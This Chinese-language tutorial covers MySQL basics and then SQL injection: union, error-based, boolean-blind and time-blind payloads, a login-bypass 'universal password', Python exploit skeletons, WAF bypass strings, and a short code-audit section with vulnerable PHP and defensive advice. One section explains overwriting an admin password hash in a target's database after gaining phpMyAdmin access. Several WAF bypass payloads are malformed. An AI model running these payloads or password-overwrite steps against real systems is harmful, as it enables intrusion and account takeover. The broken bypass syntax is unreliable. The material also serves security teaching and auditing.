MySQL与SQL注入安全教学文档

0x01 MySQL基础操作

1.1 数据库操作

-- 创建数据库
CREATE DATABASE school;

-- 查询数据库
SHOW DATABASES;

-- 删除数据库
DROP DATABASE school;

1.2 表操作

-- 创建表
CREATE TABLE student(id INT(10), username VARCHAR(20), mail VARCHAR(20));

-- 查询表
SHOW TABLES;

-- 查询表结构
DESC student;

-- 删除表
DROP TABLE student;

1.3 数据操作

-- 插入数据
INSERT INTO student(id,username,mail) VALUES(1,"zhangsan","zs@redteam.com");

-- 查询数据
SELECT * FROM student;
SELECT mail FROM student;

-- 修改数据
UPDATE student SET username="zhangsan2" WHERE id = 1;

-- 删除数据
DELETE FROM student WHERE id = 1;

0x02 数据库实战利用

1. 修改密码场景：当获取phpMyAdmin但无法shell时，可通过UPDATE修改密码

UPDATE admin SET password='c13f62012fd6a8fdf06b3452a94430e5' WHERE username='admin';

2. CMS后台密码重置：本地搭建相同CMS，设置密码123456，查看加密值后修改目标数据库

0x03 PHP连接MySQL

<?php
$host = "localhost";
$user = "root";
$pass = "root";
$conn = mysql_connect($host,$user,$pass);
mysql_select_db("school");
$sql = "SELECT * FROM student";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
    echo "id:".$row["id"]." username:".$row["username"]." mail:".$row["mail"]."<br>";
}
?>

关键函数：

• mysql_connect()：建立连接
• mysql_select_db()：选择数据库
• mysql_query()：执行SQL语句
• mysql_fetch_array()：获取结果集

0x04 information_schema数据库

MySQL 5.0+新增的系统数据库，包含：

• TABLES表：存储所有表信息
• COLUMNS表：存储所有列信息

查询表信息

SELECT table_name FROM information_schema.tables WHERE table_schema=database();

查询列信息

SELECT column_name FROM information_schema.columns 
WHERE table_schema=database() AND table_name="xinan";

0x05 联合注入

基本流程

1. 确定列数（ORDER BY）

SELECT * FROM xinan ORDER BY 3;  -- 报错说明只有2列

2. 确定回显位

SELECT * FROM xinan WHERE id=-1 UNION SELECT 1,2;

3. 获取数据库信息

SELECT * FROM xinan WHERE id=-1 UNION SELECT user(),database();

4. 获取所有表

SELECT * FROM xinan WHERE id=-1 UNION SELECT 1,group_concat(table_name) 
FROM information_schema.tables WHERE table_schema=database();

5. 获取表列名

SELECT * FROM xinan WHERE id=-1 UNION SELECT 1,group_concat(column_name) 
FROM information_schema.columns WHERE table_schema=database() AND table_name="xinan";

6. 获取数据

SELECT * FROM xinan WHERE id=-1 UNION SELECT 1,group_concat(username) FROM xinan;

0x06 报错注入

updatexml函数

SELECT * FROM xinan WHERE id=1 AND updatexml(1,concat(0x7e,database(),0x7e),1);

获取表名

SELECT * FROM xinan WHERE id=1 AND updatexml(1,concat(0x7e,
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,0x7e),1);

获取列名

SELECT * FROM xinan WHERE id=1 AND updatexml(1,concat(0x7e,
(SELECT column_name FROM information_schema.columns 
WHERE table_schema=database() AND table_name="xinan" LIMIT 0,1)
,0x7e),1);

获取数据

SELECT * FROM xinan WHERE id=1 AND updatexml(1,concat(0x7e,
(SELECT group_concat(username,0x7e,id) FROM xinan LIMIT 0,1)
,0x7e),1);

0x07 布尔盲注

常用函数

LENGTH("aaa")  -- 字符串长度
SUBSTR(user(),1,1)  -- 截取字符串
ASCII("a")  -- ASCII码值

注入流程

1. 判断数据库长度

SELECT * FROM xinan WHERE id=1 AND LENGTH(database())>5;

2. 逐字符猜解数据库名

SELECT * FROM xinan WHERE id=1 AND SUBSTR(database(),1,1)="s";

3. 获取表数量

SELECT * FROM xinan WHERE id=1 AND 
(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())>6;

4. 获取表名长度

SELECT * FROM xinan WHERE id=1 AND 
(LENGTH((SELECT table_name FROM information_schema.tables 
WHERE table_schema=database() LIMIT 0,1)))>3;

5. 逐字符猜解表名

SELECT * FROM xinan WHERE id=1 AND 
(SUBSTR((SELECT table_name FROM information_schema.tables 
WHERE table_schema=database() LIMIT 0,1),1,1))>"s";

0x08 时间盲注

基本语法

SELECT * FROM xinan WHERE id=1 AND IF(LENGTH(database())>1,SLEEP(5),1);

逐字符猜解

SELECT * FROM xinan WHERE id=1 AND 
IF((SUBSTR((SELECT database()),1,1)="s"),SLEEP(5),1);

0x09 POST注入

万能密码

SELECT * FROM admin WHERE username='' OR 1=1 -- -' AND password=''

时间盲注示例

SELECT * FROM admin WHERE username="" OR 
IF(((SUBSTR((SELECT database()),1,1))="s"),SLEEP(5),1);

0x10-0x12 自动化EXP编写

联合注入EXP(Python)

import requests

url = "http://127.0.0.1/union.php?id=1"
# 确定列数
for i in range(1,10):
    order_payload = url + " order by "+str(i)
    # 判断响应差异...
    
# 获取表名
table_payload = url + " union select "+ table + " from information_schema.tables where table_schema=database()"

报错注入EXP

table_payload = url + " and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)"

布尔盲注EXP

for i in range(1,10):
    table_count_payload = " and (select count(table_name) from information_schema.tables where table_schema=database())="+str(i)
    # 判断响应长度...

0x13 SQL注入Bypass WAF

绕过AND

/index.php?id=if((1=1),1,2)  -- 替代AND 1=1

绕过ORDER BY

/index.php?id=1/**/order/by 3

绕过UNION SELECT

/index.php?id=1/**/union/50441select*/ 1,2,3

使用REGEXP绕过

/index.php?id=1 REGEXP union/50441select*//*//*/1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

0x14 SQL注入代码审计

常见漏洞点

1. 未过滤的用户输入直接拼接SQL
2. 错误信息直接显示
3. 参数未严格类型检查
4. 二次注入漏洞

审计示例

// 漏洞代码
$username = $_POST["username"];
$password = $_POST["password"];
$sql = "SELECT * FROM admin WHERE username = '$username' AND password ='$password'";

防护建议：

1. 使用预处理语句
2. 严格过滤输入
3. 关闭错误显示
4. 最小权限原则